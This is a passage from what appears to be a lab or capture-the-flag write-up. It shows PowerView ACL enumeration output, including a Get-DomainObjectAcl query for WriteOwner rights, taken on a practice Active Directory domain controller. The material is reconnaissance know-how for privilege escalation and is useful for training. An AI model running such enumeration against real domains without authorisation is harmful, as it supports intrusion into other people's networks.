Share,CN=Content,CN=Domain Syste... S-1-5-32-544 CN=Topology,CN=Domain System Volume,CN=DFS... S-1-5-32-544 CN=DC01,CN=Topology,CN=Domain System Volum... S-1-5-32-544 CN=DFSR-LocalSettings,CN=DC01,OU=Domain Co... S-1-5-32-544 CN=Domain System Volume,CN=DFSR-LocalSetti... S-1-5-32-544 CN=SYSVOL Subscription,CN=Domain System Vo... S-1-5-32-544 CN=Goro,CN=Users,DC=hacksmarter,DC=local S-1-5-32-544 CN=alt.svc,CN=Users,DC=hacksmarter,DC=local S-1-5-32-544 CN=Yorinobu,CN=Users,DC=hacksmarter,DC=local S-1-5-32-544 CN=Hanako,CN=Users,DC=hacksmarter,DC=local S-1-5-32-544 CN=Faraday,CN=Users,DC=hacksmarter,DC=local S-1-5-32-544 CN=Adam Smasher,CN=Users,DC=hacksmarter,DC... S-1-5-32-544 CN=Soulkiller.svc,CN=Users,DC=hacksmarter,... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Soulkiller.svc,CN=Users,DC=hacksmarter,... S-1-5-21-3154413470-3340737026-2748725799-519 CN=Soulkiller.svc,CN=Users,DC=hacksmarter,... S-1-5-32-544 CN=Hellman,CN=Users,DC=hacksmarter,DC=local S-1-5-32-544 CN=Kei.svc,CN=Users,DC=hacksmarter,DC=local S-1-5-32-544 CN=Sliverhand.svc,CN=Users,DC=hacksmarter,... S-1-5-32-544 CN=Oda,CN=Users,DC=hacksmarter,DC=local S-1-5-32-544 CN=Saburo Arasaka,CN=Users,DC=hacksmarter,... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Saburo Arasaka,CN=Users,DC=hacksmarter,... S-1-5-21-3154413470-3340737026-2748725799-519 CN=Saburo Arasaka,CN=Users,DC=hacksmarter,... S-1-5-32-544 CN=BCKUPKEY_94d38b42-1100-48e8-9bcf-1b3be7... S-1-5-32-544 CN=BCKUPKEY_P Secret,CN=System,DC=hacksmar... S-1-5-32-544 CN=BCKUPKEY_9ded72cf-0ad0-4dac-8641-e886b4... S-1-5-32-544 CN=BCKUPKEY_PREFERRED Secret,CN=System,DC=... S-1-5-32-544 ``` {% endcode %} #### WriteOwner perms {% code overflow="wrap" expandable="true" %} ```bash PS C:\\Users\\Administrator\\Desktop> Get-DomainObjectAcl -ResolveGUIDs | ? {$_.ActiveDirectoryRights -match "WriteOwner"} | select ObjectDN, SecurityIdentifier ObjectDN SecurityIdentifier -------- ------------------ DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-512 DC=hacksmarter,DC=local S-1-5-32-544 CN=Users,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-512 CN=Users,DC=hacksmarter,DC=local S-1-5-32-544 CN=Computers,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-512 CN=Computers,DC=hacksmarter,DC=local S-1-5-32-544 OU=Domain Controllers,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-512 OU=Domain Controllers,DC=hacksmarter,DC=local S-1-5-32-544 CN=System,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-512 CN=System,DC=hacksmarter,DC=local S-1-5-32-544 CN=LostAndFound,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-512 CN=LostAndFound,DC=hacksmarter,DC=local S-1-5-32-544 CN=Infrastructure,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-512 CN=Infrastructure,DC=hacksmarter,DC=local S-1-5-32-544 CN=ForeignSecurityPrincipals,DC=hacksmarte... S-1-5-32-544 CN=Program Data,DC=hacksmarter,DC=local S-1-5-32-544 CN=Microsoft,CN=Program Data,DC=hacksmarte... S-1-5-32-544 CN=NTDS Quotas,DC=hacksmarter,DC=local S-1-5-32-544 CN=Managed Service Accounts,DC=hacksmarter... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Managed Service Accounts,DC=hacksmarter... S-1-5-32-544 CN=WinsockServices,CN=System,DC=hacksmarte... S-1-5-21-3154413470-3340737026-2748725799-512 CN=WinsockServices,CN=System,DC=hacksmarte... S-1-5-32-544 CN=RpcServices,CN=System,DC=hacksmarter,DC... S-1-5-21-3154413470-3340737026-2748725799-512 CN=RpcServices,CN=System,DC=hacksmarter,DC... S-1-5-32-544 CN=FileLinks,CN=System,DC=hacksmarter,DC=l... S-1-5-21-3154413470-3340737026-2748725799-512 CN=FileLinks,CN=System,DC=hacksmarter,DC=l... S-1-5-32-544 CN=VolumeTable,CN=FileLinks,CN=System,DC=h... S-1-5-21-3154413470-3340737026-2748725799-512 CN=VolumeTable,CN=FileLinks,CN=System,DC=h... S-1-5-32-544 CN=ObjectMoveTable,CN=FileLinks,CN=System,... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ObjectMoveTable,CN=FileLinks,CN=System,... S-1-5-32-544 CN=Default Domain Policy,CN=System,DC=hack... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Default Domain Policy,CN=System,DC=hack... S-1-5-32-544 CN=AppCategories,CN=Default Domain Policy,... S-1-5-21-3154413470-3340737026-2748725799-512 CN=AppCategories,CN=Default Domain Policy,... S-1-5-32-544 CN=Meetings,CN=System,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-512 CN=Meetings,CN=System,DC=hacksmarter,DC=local S-1-5-32-544 CN=Policies,CN=System,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-512 CN=Policies,CN=System,DC=hacksmarter,DC=local S-1-5-32-544 CN={31B2F340-016D-11D2-945F-00C04FB984F9},... S-1-5-21-3154413470-3340737026-2748725799-512 CN={31B2F340-016D-11D2-945F-00C04FB984F9},... S-1-5-21-3154413470-3340737026-2748725799-512 CN={31B2F340-016D-11D2-945F-00C04FB984F9},... S-1-5-21-3154413470-3340737026-2748725799-519 CN={31B2F340-016D-11D2-945F-00C04FB984F9},... S-1-5-21-3154413470-3340737026-2748725799-519 CN={31B2F340-016D-11D2-945F-00C04FB984F9},... S-1-5-21-3154413470-3340737026-2748725799-512 CN={31B2F340-016D-11D2-945F-00C04FB984F9},... S-1-3-0 CN={31B2F340-016D-11D2-945F-00C04FB984F9},... S-1-5-18 CN=User,CN={31B2F340-016D-11D2-945F-00C04F... S-1-5-21-3154413470-3340737026-2748725799-512 CN=User,CN={31B2F340-016D-11D2-945F-00C04F... S-1-5-21-3154413470-3340737026-2748725799-512 CN=User,CN={31B2F340-016D-11D2-945F-00C04F... S-1-5-21-3154413470-3340737026-2748725799-519 CN=User,CN={31B2F340-016D-11D2-945F-00C04F... S-1-3-0 CN=User,CN={31B2F340-016D-11D2-945F-00C04F... S-1-5-18 CN=Machine,CN={31B2F340-016D-11D2-945F-00C... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Machine,CN={31B2F340-016D-11D2-945F-00C... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Machine,CN={31B2F340-016D-11D2-945F-00C... S-1-5-21-3154413470-3340737026-2748725799-519 CN=Machine,CN={31B2F340-016D-11D2-945F-00C... S-1-3-0 CN=Machine,CN={31B2F340-016D-11D2-945F-00C... S-1-5-18 CN={6AC1786C-016F-11D2-945F-00C04fB984F9},... S-1-5-21-3154413470-3340737026-2748725799-512 CN={6AC1786C-016F-11D2-945F-00C04fB984F9},... S-1-5-21-3154413470-3340737026-2748725799-512 CN={6AC1786C-016F-11D2-945F-00C04fB984F9},... S-1-5-21-3154413470-3340737026-2748725799-519 CN={6AC1786C-016F-11D2-945F-00C04fB984F9},... S-1-5-21-3154413470-3340737026-2748725799-519 CN={6AC1786C-016F-11D2-945F-00C04fB984F9},... S-1-5-21-3154413470-3340737026-2748725799-512 CN={6AC1786C-016F-11D2-945F-00C04fB984F9},... S-1-3-0 CN={6AC1786C-016F-11D2-945F-00C04fB984F9},... S-1-5-18 CN=User,CN={6AC1786C-016F-11D2-945F-00C04f... S-1-5-21-3154413470-3340737026-2748725799-512 CN=User,CN={6AC1786C-016F-11D2-945F-00C04f... S-1-5-21-3154413470-3340737026-2748725799-512 CN=User,CN={6AC1786C-016F-11D2-945F-00C04f... S-1-5-21-3154413470-3340737026-2748725799-519 CN=User,CN={6AC1786C-016F-11D2-945F-00C04f... S-1-3-0 CN=User,CN={6AC1786C-016F-11D2-945F-00C04f... S-1-5-18 CN=Machine,CN={6AC1786C-016F-11D2-945F-00C... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Machine,CN={6AC1786C-016F-11D2-945F-00C... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Machine,CN={6AC1786C-016F-11D2-945F-00C... S-1-5-21-3154413470-3340737026-2748725799-519 CN=Machine,CN={6AC1786C-016F-11D2-945F-00C... S-1-3-0 CN=Machine,CN={6AC1786C-016F-11D2-945F-00C... S-1-5-18 CN=RAS and IAS Servers Access Check,CN=Sys... S-1-5-21-3154413470-3340737026-2748725799-553 CN=RAS and IAS Servers Access Check,CN=Sys... S-1-5-32-544 CN=File Replication Service,CN=System,DC=h... S-1-5-21-3154413470-3340737026-2748725799-512 CN=File Replication Service,CN=System,DC=h... S-1-5-32-544 CN=Dfs-Configuration,CN=System,DC=hacksmar... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Dfs-Configuration,CN=System,DC=hacksmar... S-1-5-32-544 CN=IP Security,CN=System,DC=hacksmarter,DC... S-1-5-21-3154413470-3340737026-2748725799-512 CN=IP Security,CN=System,DC=hacksmarter,DC... S-1-5-32-544 CN=ipsecPolicy{72385230-70FA-11D1-864C-14A... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ipsecPolicy{72385230-70FA-11D1-864C-14A... S-1-5-32-544 CN=ipsecISAKMPPolicy{72385231-70FA-11D1-86... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ipsecISAKMPPolicy{72385231-70FA-11D1-86... S-1-5-32-544 CN=ipsecNFA{72385232-70FA-11D1-864C-14A300... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ipsecNFA{72385232-70FA-11D1-864C-14A300... S-1-5-32-544 CN=ipsecNFA{59319BE2-5EE3-11D2-ACE8-0060B0... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ipsecNFA{59319BE2-5EE3-11D2-ACE8-0060B0... S-1-5-32-544 CN=ipsecNFA{594272E2-071D-11D3-AD22-0060B0... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ipsecNFA{594272E2-071D-11D3-AD22-0060B0... S-1-5-32-544 CN=ipsecNegotiationPolicy{72385233-70FA-11... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ipsecNegotiationPolicy{72385233-70FA-11... S-1-5-32-544 CN=ipsecFilter{7238523A-70FA-11D1-864C-14A... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ipsecFilter{7238523A-70FA-11D1-864C-14A... S-1-5-32-544 CN=ipsecNegotiationPolicy{59319BDF-5EE3-11... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ipsecNegotiationPolicy{59319BDF-5EE3-11... S-1-5-32-544 CN=ipsecNegotiationPolicy{7238523B-70FA-11... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ipsecNegotiationPolicy{7238523B-70FA-11... S-1-5-32-544 CN=ipsecFilter{72385235-70FA-11D1-864C-14A... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ipsecFilter{72385235-70FA-11D1-864C-14A... S-1-5-32-544 CN=ipsecPolicy{72385236-70FA-11D1-864C-14A... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ipsecPolicy{72385236-70FA-11D1-864C-14A... S-1-5-32-544 CN=ipsecISAKMPPolicy{72385237-70FA-11D1-86... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ipsecISAKMPPolicy{72385237-70FA-11D1-86... S-1-5-32-544 CN=ipsecNFA{59319C04-5EE3-11D2-ACE8-0060B0... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ipsecNFA{59319C04-5EE3-11D2-ACE8-0060B0... S-1-5-32-544 CN=ipsecNegotiationPolicy{59319C01-5EE3-11... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ipsecNegotiationPolicy{59319C01-5EE3-11... S-1-5-32-544 CN=ipsecPolicy{7238523C-70FA-11D1-864C-14A... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ipsecPolicy{7238523C-70FA-11D1-864C-14A... S-1-5-32-544 CN=ipsecISAKMPPolicy{7238523D-70FA-11D1-86... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ipsecISAKMPPolicy{7238523D-70FA-11D1-86... S-1-5-32-544 CN=ipsecNFA{7238523E-70FA-11D1-864C-14A300... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ipsecNFA{7238523E-70FA-11D1-864C-14A300... S-1-5-32-544 CN=ipsecNFA{59319BF3-5EE3-11D2-ACE8-0060B0... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ipsecNFA{59319BF3-5EE3-11D2-ACE8-0060B0... S-1-5-32-544 CN=ipsecNFA{594272FD-071D-11D3-AD22-0060B0... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ipsecNFA{594272FD-071D-11D3-AD22-0060B0... S-1-5-32-544 CN=ipsecNegotiationPolicy{7238523F-70FA-11... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ipsecNegotiationPolicy{7238523F-70FA-11... S-1-5-32-544 CN=ipsecNegotiationPolicy{59319BF0-5EE3-11... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ipsecNegotiationPolicy{59319BF0-5EE3-11... S-1-5-32-544 CN=ipsecNFA{6A1F5C6F-72B7-11D2-ACF0-0060B0... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ipsecNFA{6A1F5C6F-72B7-11D2-ACF0-0060B0... S-1-5-32-544 CN=AdminSDHolder,CN=System,DC=hacksmarter,... S-1-5-21-3154413470-3340737026-2748725799-512 CN=AdminSDHolder,CN=System,DC=hacksmarter,... S-1-5-21-3154413470-3340737026-2748725799-519 CN=AdminSDHolder,CN=System,DC=hacksmarter,... S-1-5-32-544 CN=ComPartitions,CN=System,DC=hacksmarter,... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ComPartitions,CN=System,DC=hacksmarter,... S-1-5-32-544 CN=ComPartitionSets,CN=System,DC=hacksmart... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ComPartitionSets,CN=System,DC=hacksmart... S-1-5-32-544 CN=PolicyTemplate,CN=WMIPolicy,CN=System,D... S-1-5-21-3154413470-3340737026-2748725799-512 CN=PolicyType,CN=WMIPolicy,CN=System,DC=ha... S-1-5-21-3154413470-3340737026-2748725799-512 CN=WMIGPO,CN=WMIPolicy,CN=System,DC=hacksm... S-1-5-21-3154413470-3340737026-2748725799-512 CN=DomainUpdates,CN=System,DC=hacksmarter,... S-1-5-21-3154413470-3340737026-2748725799-512 CN=DomainUpdates,CN=System,DC=hacksmarter,... S-1-5-32-544 CN=Operations,CN=DomainUpdates,CN=System,D... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Operations,CN=DomainUpdates,CN=System,D... S-1-5-32-544 CN=ab402345-d3c3-455d-9ff7-40268a1099b6,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ab402345-d3c3-455d-9ff7-40268a1099b6,CN... S-1-5-32-544 CN=bab5f54d-06c8-48de-9b87-d78b796564e4,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=bab5f54d-06c8-48de-9b87-d78b796564e4,CN... S-1-5-32-544 CN=f3dd09dd-25e8-4f9c-85df-12d6d2f2f2f5,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=f3dd09dd-25e8-4f9c-85df-12d6d2f2f2f5,CN... S-1-5-32-544 CN=2416c60a-fe15-4d7a-a61e-dffd5df864d3,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=2416c60a-fe15-4d7a-a61e-dffd5df864d3,CN... S-1-5-32-544 CN=7868d4c8-ac41-4e05-b401-776280e8e9f1,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=7868d4c8-ac41-4e05-b401-776280e8e9f1,CN... S-1-5-32-544 CN=860c36ed-5241-4c62-a18b-cf6ff9994173,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=860c36ed-5241-4c62-a18b-cf6ff9994173,CN... S-1-5-32-544 CN=0e660ea3-8a5e-4495-9ad7-ca1bd4638f9e,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=0e660ea3-8a5e-4495-9ad7-ca1bd4638f9e,CN... S-1-5-32-544 CN=a86fe12a-0f62-4e2a-b271-d27f601f8182,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=a86fe12a-0f62-4e2a-b271-d27f601f8182,CN... S-1-5-32-544 CN=d85c0bfd-094f-4cad-a2b5-82ac9268475d,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=d85c0bfd-094f-4cad-a2b5-82ac9268475d,CN... S-1-5-32-544 CN=6ada9ff7-c9df-45c1-908e-9fef2fab008a,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=6ada9ff7-c9df-45c1-908e-9fef2fab008a,CN... S-1-5-32-544 CN=10b3ad2a-6883-4fa7-90fc-6377cbdc1b26,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=10b3ad2a-6883-4fa7-90fc-6377cbdc1b26,CN... S-1-5-32-544 CN=98de1d3e-6611-443b-8b4e-f4337f1ded0b,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=98de1d3e-6611-443b-8b4e-f4337f1ded0b,CN... S-1-5-32-544 CN=f607fd87-80cf-45e2-890b-6cf97ec0e284,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=f607fd87-80cf-45e2-890b-6cf97ec0e284,CN... S-1-5-32-544 CN=9cac1f66-2167-47ad-a472-2a13251310e4,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=9cac1f66-2167-47ad-a472-2a13251310e4,CN... S-1-5-32-544 CN=6ff880d6-11e7-4ed1-a20f-aac45da48650,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=6ff880d6-11e7-4ed1-a20f-aac45da48650,CN... S-1-5-32-544 CN=446f24ea-cfd5-4c52-8346-96e170bcb912,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=446f24ea-cfd5-4c52-8346-96e170bcb912,CN... S-1-5-32-544 CN=51cba88b-99cf-4e16-bef2-c427b38d0767,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=51cba88b-99cf-4e16-bef2-c427b38d0767,CN... S-1-5-32-544 CN=a3dac986-80e7-4e59-a059-54cb1ab43cb9,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=a3dac986-80e7-4e59-a059-54cb1ab43cb9,CN... S-1-5-32-544 CN=293f0798-ea5c-4455-9f5d-45f33a30703b,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=293f0798-ea5c-4455-9f5d-45f33a30703b,CN... S-1-5-32-544 CN=5c82b233-75fc-41b3-ac71-c69592e6bf15,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=5c82b233-75fc-41b3-ac71-c69592e6bf15,CN... S-1-5-32-544 CN=7ffef925-405b-440a-8d58-35e8cd6e98c3,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=7ffef925-405b-440a-8d58-35e8cd6e98c3,CN... S-1-5-32-544 CN=4dfbb973-8a62-4310-a90c-776e00f83222,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=4dfbb973-8a62-4310-a90c-776e00f83222,CN... S-1-5-32-544 CN=8437C3D8-7689-4200-BF38-79E4AC33DFA0,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=8437C3D8-7689-4200-BF38-79E4AC33DFA0,CN... S-1-5-32-544 CN=7cfb016c-4f87-4406-8166-bd9df943947f,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=7cfb016c-4f87-4406-8166-bd9df943947f,CN... S-1-5-32-544 CN=f7ed4553-d82b-49ef-a839-2f38a36bb069,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=f7ed4553-d82b-49ef-a839-2f38a36bb069,CN... S-1-5-32-544 CN=8ca38317-13a4-4bd4-806f-ebed6acb5d0c,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=8ca38317-13a4-4bd4-806f-ebed6acb5d0c,CN... S-1-5-32-544 CN=3c784009-1f57-4e2a-9b04-6915c9e71961,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=3c784009-1f57-4e2a-9b04-6915c9e71961,CN... S-1-5-32-544 CN=6bcd5678-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=6bcd5678-8314-11d6-977b-00c04f613221,CN... S-1-5-32-544 CN=6bcd5679-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=6bcd5679-8314-11d6-977b-00c04f613221,CN... S-1-5-32-544 CN=6bcd567a-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=6bcd567a-8314-11d6-977b-00c04f613221,CN... S-1-5-32-544 CN=6bcd567b-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=6bcd567b-8314-11d6-977b-00c04f613221,CN... S-1-5-32-544 CN=6bcd567c-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=6bcd567c-8314-11d6-977b-00c04f613221,CN... S-1-5-32-544 CN=6bcd567d-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=6bcd567d-8314-11d6-977b-00c04f613221,CN... S-1-5-32-544 CN=6bcd567e-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=6bcd567e-8314-11d6-977b-00c04f613221,CN... S-1-5-32-544 CN=6bcd567f-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=6bcd567f-8314-11d6-977b-00c04f613221,CN... S-1-5-32-544 CN=6bcd5680-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=6bcd5680-8314-11d6-977b-00c04f613221,CN... S-1-5-32-544 CN=6bcd5681-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=6bcd5681-8314-11d6-977b-00c04f613221,CN... S-1-5-32-544 CN=6bcd5682-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=6bcd5682-8314-11d6-977b-00c04f613221,CN... S-1-5-32-544 CN=6bcd5683-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=6bcd5683-8314-11d6-977b-00c04f613221,CN... S-1-5-32-544 CN=6bcd5684-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=6bcd5684-8314-11d6-977b-00c04f613221,CN... S-1-5-32-544 CN=6bcd5685-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=6bcd5685-8314-11d6-977b-00c04f613221,CN... S-1-5-32-544 CN=6bcd5686-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=6bcd5686-8314-11d6-977b-00c04f613221,CN... S-1-5-32-544 CN=6bcd5687-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=6bcd5687-8314-11d6-977b-00c04f613221,CN... S-1-5-32-544 CN=6bcd5688-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=6bcd5688-8314-11d6-977b-00c04f613221,CN... S-1-5-32-544 CN=6bcd5689-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=6bcd5689-8314-11d6-977b-00c04f613221,CN... S-1-5-32-544 CN=6bcd568a-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=6bcd568a-8314-11d6-977b-00c04f613221,CN... S-1-5-32-544 CN=6bcd568b-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=6bcd568b-8314-11d6-977b-00c04f613221,CN... S-1-5-32-544 CN=6bcd568c-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=6bcd568c-8314-11d6-977b-00c04f613221,CN... S-1-5-32-544 CN=6bcd568d-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=6bcd568d-8314-11d6-977b-00c04f613221,CN... S-1-5-32-544 CN=3051c66f-b332-4a73-9a20-2d6a7d6e6a1c,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=3051c66f-b332-4a73-9a20-2d6a7d6e6a1c,CN... S-1-5-32-544 CN=3e4f4182-ac5d-4378-b760-0eab2de593e2,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=3e4f4182-ac5d-4378-b760-0eab2de593e2,CN... S-1-5-32-544 CN=c4f17608-e611-11d6-9793-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=c4f17608-e611-11d6-9793-00c04f613221,CN... S-1-5-32-544 CN=13d15cf0-e6c8-11d6-9793-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=13d15cf0-e6c8-11d6-9793-00c04f613221,CN... S-1-5-32-544 CN=8ddf6913-1c7b-4c59-a5af-b9ca3b3d2c4c,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=8ddf6913-1c7b-4c59-a5af-b9ca3b3d2c4c,CN... S-1-5-32-544 CN=dda1d01d-4bd7-4c49-a184-46f9241b560e,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=dda1d01d-4bd7-4c49-a184-46f9241b560e,CN... S-1-5-32-544 CN=a1789bfb-e0a2-4739-8cc0-e77d892d080a,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=a1789bfb-e0a2-4739-8cc0-e77d892d080a,CN... S-1-5-32-544 CN=61b34cb0-55ee-4be9-b595-97810b92b017,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=61b34cb0-55ee-4be9-b595-97810b92b017,CN... S-1-5-32-544 CN=57428d75-bef7-43e1-938b-2e749f5a8d56,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=57428d75-bef7-43e1-938b-2e749f5a8d56,CN... S-1-5-32-544 CN=ebad865a-d649-416f-9922-456b53bbb5b8,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ebad865a-d649-416f-9922-456b53bbb5b8,CN... S-1-5-32-544 CN=0b7fb422-3609-4587-8c2e-94b10f67d1bf,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=0b7fb422-3609-4587-8c2e-94b10f67d1bf,CN... S-1-5-32-544 CN=2951353e-d102-4ea5-906c-54247eeec741,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=2951353e-d102-4ea5-906c-54247eeec741,CN... S-1-5-32-544 CN=71482d49-8870-4cb3-a438-b6fc9ec35d70,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=71482d49-8870-4cb3-a438-b6fc9ec35d70,CN... S-1-5-32-544 CN=aed72870-bf16-4788-8ac7-22299c8207f1,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=aed72870-bf16-4788-8ac7-22299c8207f1,CN... S-1-5-32-544 CN=f58300d1-b71a-4DB6-88a1-a8b9538beaca,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=f58300d1-b71a-4DB6-88a1-a8b9538beaca,CN... S-1-5-32-544 CN=231fb90b-c92a-40c9-9379-bacfc313a3e3,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=231fb90b-c92a-40c9-9379-bacfc313a3e3,CN... S-1-5-32-544 CN=4aaabc3a-c416-4b9c-a6bb-4b453ab1c1f0,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=4aaabc3a-c416-4b9c-a6bb-4b453ab1c1f0,CN... S-1-5-32-544 CN=9738c400-7795-4d6e-b19d-c16cd6486166,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=9738c400-7795-4d6e-b19d-c16cd6486166,CN... S-1-5-32-544 CN=de10d491-909f-4fb0-9abb-4b7865c0fe80,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=de10d491-909f-4fb0-9abb-4b7865c0fe80,CN... S-1-5-32-544 CN=b96ed344-545a-4172-aa0c-68118202f125,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=b96ed344-545a-4172-aa0c-68118202f125,CN... S-1-5-32-544 CN=4c93ad42-178a-4275-8600-16811d28f3aa,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=4c93ad42-178a-4275-8600-16811d28f3aa,CN... S-1-5-32-544 CN=c88227bc-fcca-4b58-8d8a-cd3d64528a02,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=c88227bc-fcca-4b58-8d8a-cd3d64528a02,CN... S-1-5-32-544 CN=5e1574f6-55df-493e-a671-aaeffca6a100,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=5e1574f6-55df-493e-a671-aaeffca6a100,CN... S-1-5-32-544 CN=d262aae8-41f7-48ed-9f35-56bbb677573d,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=d262aae8-41f7-48ed-9f35-56bbb677573d,CN... S-1-5-32-544 CN=82112ba0-7e4c-4a44-89d9-d46c9612bf91,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=82112ba0-7e4c-4a44-89d9-d46c9612bf91,CN... S-1-5-32-544 CN=c3c927a6-cc1d-47c0-966b-be8f9b63d991,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=c3c927a6-cc1d-47c0-966b-be8f9b63d991,CN... 